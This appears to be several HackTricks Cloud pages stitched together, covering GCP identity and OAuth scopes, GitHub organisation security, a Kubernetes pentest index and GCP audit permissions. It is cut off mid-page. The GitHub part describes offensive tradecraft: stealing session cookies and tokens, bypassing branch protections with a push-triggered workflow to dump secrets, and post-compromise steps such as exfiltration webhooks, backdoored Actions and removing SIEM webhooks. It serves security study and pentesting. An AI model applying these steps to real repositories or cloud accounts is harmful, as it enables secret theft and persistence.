Or check if a **custom role can use a** [**specific permission in here**](https://cloud.google.com/iam/docs/custom-roles-permissions-support) **.** [GCP - IAM, Principals & Org Policies Enum](../gcp-services/gcp-iam-and-org-policies-enum.html) [](#default-credentials) ------------------------- In **GCP console** there **isn't any Users or Groups** management, that is done in **Google Workspace**. Although you could synchronize a different identity provider in Google Workspace. You can access Workspaces **users and groups in** [**https://admin.google.com**](https://admin.google.com/) . **MFA** can be **forced** to Workspaces users, however, an **attacker** could use a token to access GCP **via cli which won't be protected by MFA** (it will be protected by MFA only when the user logins to generate it: `gcloud auth login`). When an organisation is created several groups are **strongly suggested to be created.** If you manage any of them you might have compromised all or an important part of the organization: | | | | --- | --- | | **Group** | **Function** | | **`gcp-organization-admins`**
_(group or individual accounts required for checklist)_ | Administering any resource that belongs to the organization. Assign this role sparingly; org admins have access to all of your Google Cloud resources. Alternatively, because this function is highly privileged, consider using individual accounts instead of creating a group. | | **`gcp-network-admins`**
_(required for checklist)_ | Creating networks, subnets, firewall rules, and network devices such as Cloud Router, Cloud VPN, and cloud load balancers. | | **`gcp-billing-admins`**
_(required for checklist)_ | Setting up billing accounts and monitoring their usage. | | **`gcp-developers`**
_(required for checklist)_ | Designing, coding, and testing applications. | | **`gcp-security-admins`** | Establishing and managing security policies for the entire organization, including access management and [organization constraint policies](https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints)
. See the [Google Cloud security foundations guide](https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups)
for more information about planning your Google Cloud security infrastructure. | | **`gcp-devops`** | Creating or managing end-to-end pipelines that support continuous integration and delivery, monitoring, and system provisioning. | | **`gcp-logging-admins`** | | | **`gcp-logging-viewers`** | | | **`gcp-monitor-admins`** | | | **`gcp-billing-viewer`**
_(no longer by default)_ | Monitoring the spend on projects. Typical members are part of the finance team. | | **`gcp-platform-viewer`**
_(no longer by default)_ | Reviewing resource information across the Google Cloud organization. | | **`gcp-security-reviewer`**
_(no longer by default)_ | Reviewing cloud security. | | **`gcp-network-viewer`**
_(no longer by default)_ | Reviewing network configurations. | | **`grp-gcp-audit-viewer`**
_(no longer by default)_ | Viewing audit logs. | | **`gcp-scc-admin`**
_(no longer by default)_ | Administering Security Command Center. | | **`gcp-secrets-admin`**
_(no longer by default)_ | Managing secrets in Secret Manager. | * Enforce strong passwords * Between 8 and 100 characters * No reuse * No expiration * If people is accessing Workspace through a third party provider, these requirements aren't applied. ![](../../../images/image (20).png) ![](../../../images/image (22).png) These are the principals that **resources** can **have** **attached** and access to interact easily with GCP. For example, it's possible to access the **auth token** of a Service Account **attached to a VM** in the metadata. It is possible to encounter some **conflicts** when using both **IAM and access scopes**. For example, your service account may have the IAM role of `compute.instanceAdmin` but the instance you've breached has been crippled with the scope limitation of `https://www.googleapis.com/auth/compute.readonly`. This would prevent you from making any changes using the OAuth token that's automatically assigned to your instance. It's similar to **IAM roles from AWS**. But not like in AWS, **any** service account can be **attached to any service** (it doesn't need to allow it via a policy). Several of the service accounts that you will find are actually **automatically generated by GCP** when you start using a service, like: PROJECT_NUMBER-compute@developer.gserviceaccount.com PROJECT_ID@appspot.gserviceaccount.com However, it's also possible to create and attach to resources **custom service accounts**, which will look like this: SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com There are 2 main ways to access GCP as a service account: * **Via OAuth tokens**: These are tokens that you will get from places like metadata endpoints or stealing http requests and they are limited by the **access scopes**. * **Keys**: These are public and private key pairs that will allow you to sign requests as the service account and even generate OAuth tokens to perform actions as the service account. These keys are dangerous because they are more complicated to limit and control, that's why GCP recommend to not generate them. * Note that every-time a SA is created, **GCP generates a key for the service account** that the user cannot access (and won't be listed in the web application). According to [**this thread**](https://www.reddit.com/r/googlecloud/comments/f0ospy/service_account_keys_observations/) this key is **used internally by GCP** to give metadata endpoints access to generate the accesible OAuth tokens. Access scope are **attached to generated OAuth tokens** to access the GCP API endpoints. They **restrict the permissions** of the OAuth token. This means that if a token belongs to an Owner of a resource but doesn't have the in the token scope to access that resource, the token **cannot be used to (ab)use those privileges**. Google actually [recommends](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) that **access scopes are not used and to rely totally on IAM**. The web management portal actually enforces this, but access scopes can still be applied to instances using custom service accounts programmatically. You can see what **scopes** are **assigned** by **querying:** bash curl 'https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=' { "issued_to": "223044615559.apps.googleusercontent.com", "audience": "223044615559.apps.googleusercontent.com", "user_id": "139746512919298469201", "scope": "openid https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/appengine.admin https://www.googleapis.com/auth/sqlservice.login https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/accounts.reauth", "expires_in": 2253, "email": "username@testing.com", "verified_email": true, "access_type": "offline" } The previous **scopes** are the ones generated by **default** using **`gcloud`** to access data. This is because when you use **`gcloud`** you first create an OAuth token, and then use it to contact the endpoints. The most important scope of those potentially is **`cloud-platform`**, which basically means that it's possible to **access any service in GCP**. You can **find a list of** [**all the possible scopes in here**](https://developers.google.com/identity/protocols/googlescopes) **.** If you have **`gcloud`** browser credentials, it's possible to **obtain a token with other scopes,** doing something like: bash # Maybe you can get a user token with other scopes changing the scopes array from ~/.config/gcloud/credentials.db # Set new scopes for SDKs credentials gcloud auth application-default login --scopes=https://www.googleapis.com/auth/userinfo.email,https://www.googleapis.com/auth/cloud-platform,https://www.googleapis.com/auth/sqlservice.login,https://www.googleapis.com/auth/appengine.admin,https://www.googleapis.com/auth/compute,https://www.googleapis.com/auth/accounts.reauth,https://www.googleapis.com/auth/admin.directory.user,https://www.googleapis.com/auth/admin.directory.group,https://www.googleapis.com/auth/admin.directory.domain,https://www.googleapis.com/auth/admin.directory.user # Print new token gcloud auth application-default print-access-token # To use this token with some API you might need to use curl to indicate the project header with --header "X-Goog-User-Project: " As defined by terraform in [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google\_project\_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam) using terraform with GCP there are different ways to grant a principal access over a resource: * **Memberships**: You set **principals as members of roles** **without restrictions** over the role or the principals. You can put a user as a member of a role and then put a group as a member of the same role and also set those principals (user and group) as member of other roles. * **Bindings**: Several **principals can be binded to a role**. Those **principals can still be binded or be members of other roles**. However, if a principal which isn’t binded to the role is set as **member of a binded role**, the next time the **binding is applied, the membership will disappear**. * **Policies**: A policy is **authoritative**, it indicates roles and principals and then, **those principals cannot have more roles and those roles cannot have more principals** unless that policy is modified (not even in other policies, bindings or memberships). Therefore, when a role or principal is specified in policy all its privileges are **limited by that policy**. Obviously, this can be bypassed in case the principal is given the option to modify the policy or privilege escalation permissions (like create a new principal and bind him a new role). * [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/) * [https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Github Security - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 14 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. (From [here](https://kinsta.com/knowledgebase/what-is-github/) ) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**. [Basic Github Information](basic-github-information.html) Github repositories can be configured as public, private and internal. * **Private** means that **only** people of the **organisation** will be able to access them * **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it * **Public** means that **all internet** is going to be able to access it. In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**. Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**. Tools (each tool contains its list of dorks): * [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks) ) * [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt) ) * [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists) ) Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits). Tools (each tool contains its list of regexes): * [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) * [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) * [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit) * [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob) * [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets) * [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks) * [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) warning When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets! It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](#execution-from-a-external-fork) . Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here: [Accessible Deleted Data in Github](accessible-deleted-data-in-github.html) There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations//settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) . * **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**. * **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories. * **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages. * **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it. * _I couldn't find this info in the APIs response, share if you do_ * **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**. * _I couldn't find this info in the APIs response, share if you do_ * **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.** * _I couldn't find this info in the APIs response, share if you do_ * **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled. * _I couldn't find this info in the APIs response, share if you do_ * **More things can be configured** in this page but the previous are the ones more security related. Several security related settings can be configured for actions from the page `https://github.com/organizations//settings/actions`. note Note that all this configurations can also be set on each repository independently * **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run. * [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization) **,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) * **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators. * _I couldn't find an API with this info, share if you do_ * **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository. * _I couldn't find an API with this info, share if you do_ * **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB\_TOKEN given to running workflows. * [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) _Let me know if you know the API endpoint to access this info!_ * **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them). * **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them). For this scenario we are going to suppose that you have obtained some access to a github account. If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.** Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**. note Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA. Check the section below about [**branch protections bypasses**](#branch-protection-bypass) in case it's useful. Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to: bash # Go to the the repository folder # Get repo config and current user name and email git config --list If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/.keys_, you could check this to confirm the private key you found can be used. **SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related. As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered. Check locally if the current user has any key with: shell gpg --list-secret-keys --keyid-format=long For an introduction about [**User Tokens check the basic information**](basic-github-information.html#personal-access-tokens) . A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication) . Depending on the privileges attached to it you might be able to perform different actions. A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.html#oauth-applications) . An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) . A should always check the scopes requested before accepting them. Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. For an introduction about [**Github Applications check the basic information**](basic-github-information.html#github-applications) . An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. There are several techniques to compromise and abuse a Github Action, check them here: [Abusing Github Actions](abusing-github-actions/index.html) * **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB\_TOKEN** you might be able to **approve your PR** and get 1 approval this way. * _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._ * **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch. * **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**. * When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.** * **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections. * **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections. * **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything. * **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back. * **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`). * If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**. For an introduction about [**Github Environment check the basic information**](basic-github-information.html#git-environments) . In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one). Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**. yaml push: # Run it when a push is made to a branch branches: - current_branch_name #Use '**' to run when a push is made to any branch Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets. * Generate **user token** * Steal **github tokens** from **secrets** * **Deletion** of workflow **results** and **branches** * Give **more permissions to all the org** * Create **webhooks** to exfiltrate information * Invite **outside collaborators** * **Remove** **webhooks** used by the **SIEM** * Create/modify **Github Action** with a **backdoor** * Find **vulnerable Github Action to command injection** via **secret** value modification In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**. Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e) : yaml name: example on: [push] jobs: commit: runs-on: ubuntu-latest steps: - uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e - shell: bash run: | echo 'hello world!' For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Kubernetes Pentesting - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 3 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. If you don't know anything about Kubernetes this is a **good start**. Read it to learn about the **architecture, components and basic actions** in Kubernetes: [Kubernetes Basics](kubernetes-basics.html) * [https://securekubernetes.com/](https://securekubernetes.com) * [https://madhuakula.com/kubernetes-goat/index.html](https://madhuakula.com/kubernetes-goat/index.html) [Kubernetes Hardening](kubernetes-hardening/index.html) There are several possible **Kubernetes services that you could find exposed** on the Internet (or inside internal networks). If you find them you know there is Kubernetes environment in there. Depending on the configuration and your privileges you might be able to abuse that environment, for more information: [Pentesting Kubernetes Services](pentesting-kubernetes-services/index.html) If you manage to **compromise a Pod** read the following page to learn how to enumerate and try to **escalate privileges/escape**: [Attacking Kubernetes from inside a Pod](attacking-kubernetes-from-inside-a-pod.html) You might have managed to compromise **user credentials, a user token or some service account toke**n. You can use it to talk to the Kubernetes API service and try to **enumerate it to learn more** about it: [Kubernetes Enumeration](kubernetes-enumeration.html) Another important details about enumeration and Kubernetes permissions abuse is the **Kubernetes Role-Based Access Control (RBAC)**. If you want to abuse permissions, you first should read about it here: [Kubernetes Role-Based Access Control(RBAC)](kubernetes-role-based-access-control-rbac.html) [Abusing Roles/ClusterRoles in Kubernetes](abusing-roles-clusterroles-in-kubernetes/index.html) If you have compromised a namespace you can potentially escape to other namespaces with more interesting permissions/resources: [Kubernetes Namespace Escalation](kubernetes-namespace-escalation.html) If you have compromised a K8s account or a pod, you might be able able to move to other clouds. This is because in clouds like AWS or GCP is possible to **give a K8s SA permissions over the cloud**. [Kubernetes Pivoting to Clouds](kubernetes-pivoting-to-clouds.html) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - Permissions for a Pentest - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute If you want to pentest a GCP environment you need to ask for enough permissions to **check all or most of the services** used in **GCP**. Ideally, you should ask the client to create: * **Create** a new **project** * **Create** a **Service Account** inside that project (get **json credentials**) or create a **new user**. * **Give** the **Service account** or the **user** the **roles** mentioned later over the ORGANIZATION * **Enable** the **APIs** mentioned later in this post in the created project **Set of permissions** to use the tools proposed later: bash roles/viewer roles/resourcemanager.folderViewer roles/resourcemanager.organizationViewer APIs to enable (from starbase): gcloud services enable \ serviceusage.googleapis.com \ cloudfunctions.googleapis.com \ storage.googleapis.com \ iam.googleapis.com \ cloudresourcemanager.googleapis.com \ compute.googleapis.com \ cloudkms.googleapis.com \ sqladmin.googleapis.com \ bigquery.googleapis.com \ container.googleapis.com \ dns.googleapis.com \ logging.googleapis.com \ monitoring.googleapis.com \ binaryauthorization.googleapis.com \ pubsub.googleapis.com \ appengine.googleapis.com \ run.googleapis.com \ redis.googleapis.com \ memcache.googleapis.com \ apigateway.googleapis.com \ spanner.googleapis.com \ privateca.googleapis.com \ cloudasset.googleapis.com \ accesscontextmanager.googleapis.com ### [PurplePanda](https://github.com/carlospolop/PurplePanda/tree/master/intel/google) From https://github.com/carlospolop/PurplePanda/tree/master/intel/google#permissions-configuration roles/bigquery.metadataViewer roles/composer.user roles/compute.viewer roles/container.clusterViewer roles/iam.securityReviewer roles/resourcemanager.folderViewer roles/resourcemanager.organizationViewer roles/secretmanager.viewer ### [ScoutSuite](https://github.com/nccgroup/ScoutSuite/wiki/Google-Cloud-Platform#permissions) From https://github.com/nccgroup/ScoutSuite/wiki/Google-Cloud-Platform#permissions roles/Viewer roles/iam.securityReviewer roles/stackdriver.accounts.viewer ### [CloudSploit](https://github.com/aquasecurity/cloudsploit/blob/master/docs/gcp.md#cloud-provider-configuration) From https://github.com/aquasecurity/cloudsploit/blob/master/docs/gcp.md#cloud-provider-configuration includedPermissions: - cloudasset.assets.listResource - cloudkms.cryptoKeys.list - cloudkms.keyRings.list - cloudsql.instances.list - cloudsql.users.list - compute.autoscalers.list - compute.backendServices.list - compute.disks.list - compute.firewalls.list - compute.healthChecks.list - compute.instanceGroups.list - compute.instances.getIamPolicy - compute.instances.list - compute.networks.list - compute.projects.get - compute.securityPolicies.list - compute.subnetworks.list - compute.targetHttpProxies.list - container.clusters.list - dns.managedZones.list - iam.serviceAccountKeys.list - iam.serviceAccounts.list - logging.logMetrics.list - logging.sinks.list - monitoring.alertPolicies.list - resourcemanager.folders.get - resourcemanager.folders.getIamPolicy - resourcemanager.folders.list - resourcemanager.hierarchyNodes.listTagBindings - resourcemanager.organizations.get - resourcemanager.organizations.getIamPolicy - resourcemanager.projects.get - resourcemanager.projects.getIamPolicy - resourcemanager.projects.list - resourcemanager.resourceTagBindings.list - resourcemanager.tagKeys.get - resourcemanager.tagKeys.getIamPolicy - resourcemanager.tagKeys.list - resourcemanager.tagValues.get - resourcemanager.tagValues.getIamPolicy - resourcemanager.tagValues.list - storage.buckets.getIamPolicy - storage.buckets.list ### [Cartography](https://lyft.github.io/cartography/modules/gcp/config.html) From https://lyft.github.io/cartography/modules/gcp/config.html roles/iam.securityReviewer roles/resourcemanager.organizationViewer roles/resourcemanager.folderViewer ### [Starbase](https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md) From https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md roles/iam.securityReviewer roles/iam.organizationRoleViewer roles/bigquery.metadataViewer --- # GCP - Services - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 0 minutes --- # GCP - Unauthenticated Enum & Access - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert 